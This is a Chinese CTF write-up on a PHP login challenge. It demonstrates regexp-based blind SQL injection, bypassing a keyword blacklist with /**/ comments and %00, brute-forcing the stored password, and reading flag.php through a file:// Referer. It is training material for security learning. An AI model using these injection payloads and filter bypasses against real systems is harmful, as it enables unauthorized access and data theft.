题目链接: 地址

下面是题目源码

<?php
include "config.php";
error_reporting(0);
highlight_file(__FILE__); $check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($check_list, $_POST['username'])){die('<h1>Hacking first,then login!Username is very special.</h1>');
}
if(preg_match($check_list, $_POST['passwd'])){die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
$result = mysql_query($query);
$result = mysql_fetch_array($result);
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>";
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){$url = $_SERVER["HTTP_REFERER"];$parts = parse_url($url);if(empty($parts['host']) || $parts['host'] != 'localhost'){die('<h1>The website only can come from localhost!You are not admin!</h1>');}else{readfile($url);}
}
?>

我原本以为一道sql 以为只是个青铜,没想到它却是个王者。

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

当我看到了,这一串过滤名单后,我就知道,这道题注定不凡!!

我们先介绍一下正则表达式注入

说通俗点就是常用的筛选语句被过滤的时候使用like 或regexp进行匹配,regexp支持正则表达式匹配

//判断第一个表名的第一个字符是否在a-z之间?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*//REGEXP '^[a-z]'即是匹配正则表达式,^表示匹配字符串的开始,[a-z]即匹配字母a-z
//判断第一个表名的第一个字符是nindex.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
//表达式如下:expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE//这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 就行了
//例如security数据库的表有多个,users,email等select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。limit 作用在前面的 select 语句中,而不是 regexp。
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";

题目中的sql语句是这样的。

由于过滤了空格,我们用/**/绕过
由于过滤了# - ,我们用;%00绕过

构造payload如下

username=\&passwd=||passwd/**/REGEXP/**/"^d";%00

这里有个坑。。我们再回看一下 过滤列表

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

能看到%00 是过滤列表的,而我们payload的却含有%00,那么,为什么不会被过滤??
经过作者的一番测试发现,参数在传到php的时候,会预先进行一次urldecode

这就是%00在payload里面,却不会被过滤的秘密了!

那么开始用burp爆破

添加好爆破位置,开始爆破。

第一位爆破成功,d,开始爆破第二位

第二位爆破成功,为0.

依次类推,爆破得到密码为:d0itr1ght
得到了密码,那么就开始登陆。由于过滤了admin,采用admi/**/n绕过

if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){$url = $_SERVER["HTTP_REFERER"];$parts = parse_url($url);if(empty($parts['host']) || $parts['host'] != 'localhost'){die('<h1>The website only can come from localhost!You are not admin!</h1>');}else{readfile($url);}
}

看到登陆成功后,可以进行读文件,那么flag一定在某个文件中,御剑扫一下。


扫到了flag.php

修改referer 为:file://localhost/var/www/html/flag.php ,得到flag

SQL正则盲注-regexp相关推荐

  1. 【Less-9】基于SQLI的SQL时间盲注

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! [实验目的] [实验环境] [实验原理] [实验步骤] 第一步 登录SQLI-Labs平台 第二步 登录Kali平台 ...

  2. Wireshark分析sql布尔盲注流量包

    目录 0x001 题目 0x002 查看注入语句 0x003 观察响应包 0x004 脚本编写 0x001 题目 0x002 查看注入语句 将流量包导入Wireshark 看着很乱,输入url通过浏览 ...

  3. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  4. 以dvwa为例学习简单sql布尔盲注的详细脚本

    0x01 前置知识 1.SQL注入与SQL盲注 SQL注入: 执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 一般在页面上直接就会显示执行sql语句的结果 S ...

  5. SQL布尔盲注 —— 【WUST-CTF2020】颜值成绩查询

    文章目录 题目 FUZZ 布尔盲注 注入点查找 开心爆表 爆字段 爆值 题目 题目已经说了查询,多半和sql注入脱不了干系 简单的查询框 FUZZ 测试输入1,并查询 发现页面变化了,而且url多了个 ...

  6. 初识0day漏洞以及SQL错误盲注

    一.小知识 有时把攻击这种刚刚被patch过的漏洞称为1day攻击.(patch发布后1天,叫做1day,5天叫做5day,未发patch统称0day) 漏洞的测试过程:漏洞挖掘.漏洞分析.漏洞利用 ...

  7. SQL注入-不再显示的盲注

    Blind SQL(盲注) 是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQl注入 ...

  8. SQL注入2——盲注(重学)

    SQL注入--盲注 SQL注入--盲注 SQL注入--盲注 一.布尔型盲注 1.判断 2.盲注库名 3.盲注表名 4.盲注列名 5.盲注数据 时间型盲注 总结 一.布尔型盲注 假如网站一定存在SQL注 ...

  9. sql_1-2_get基于盲注

    sql_1-2_get基于盲注(时间,和布尔) 一 . 盲注的概念和类型 1.概念 sql(盲注)是注入攻击的一种,向数据库发生true或false这样的问题,并且根据应用程序返回的信息判断结果,这种 ...

最新文章

  1. mybatis学习笔记(7)-输出映射
  2. Ping一下Github,确认本地DNS无法解析方法
  3. C++11语言新特性-《C++标准库(第二版)》读书笔记
  4. 【答案放在最后,看题看不到答案】2019年上半年软件设计师 上午选择题
  5. 文件共享服务器 -----ftp服务一
  6. 使用Blender编辑Character Creater 4的人物形象
  7. 股票补仓计算机在线计算,股票计算器在线计算
  8. 高温持续,三峡水库向长江中下游补水5亿立方米
  9. 【单目测距和双目测距比较】
  10. zscore标准化步骤_几种常用数据标准化方法
  11. 网易严选App感受Weex开发
  12. MySQL面试夺命连环27问
  13. 记一段随风而逝的感情
  14. Cisco交换机密码破解
  15. 小白带你学安卓——Intent
  16. Android,SharedPreferences的使用
  17. poj3104(二分判断可行性)
  18. 鼠标hover出现遮罩
  19. Postman是什么 怎么用
  20. 深圳电信isp劫持www.google-analytics.com的ga.js来弹出广告窗口分析

热门文章

  1. m基于多相位功率倒置的GPS抗干扰算法matlab仿真
  2. Element-ui input 输入框限制只能输入数字的问题
  3. HD声卡开启麦克风调控补丁 | HD系列声卡不支持立体声混音的解决办法
  4. 舞台音效控制软件_苹果舞台现场演奏音效控制工具 MainStage 3 v3.3.1
  5. ubuntu20.04运行网易云音乐出现无法播放、下载的情况
  6. 全球十大知名工控机品牌排行榜
  7. c语言程序二进制代码,二进制搜索/查找程序(C语言)
  8. php实现留言板功能代码,php实现留言板功能(会话控制)
  9. 软考之数据库系统工程师之知识点整理
  10. 非常好看的BT宝塔面板美化透明版主题包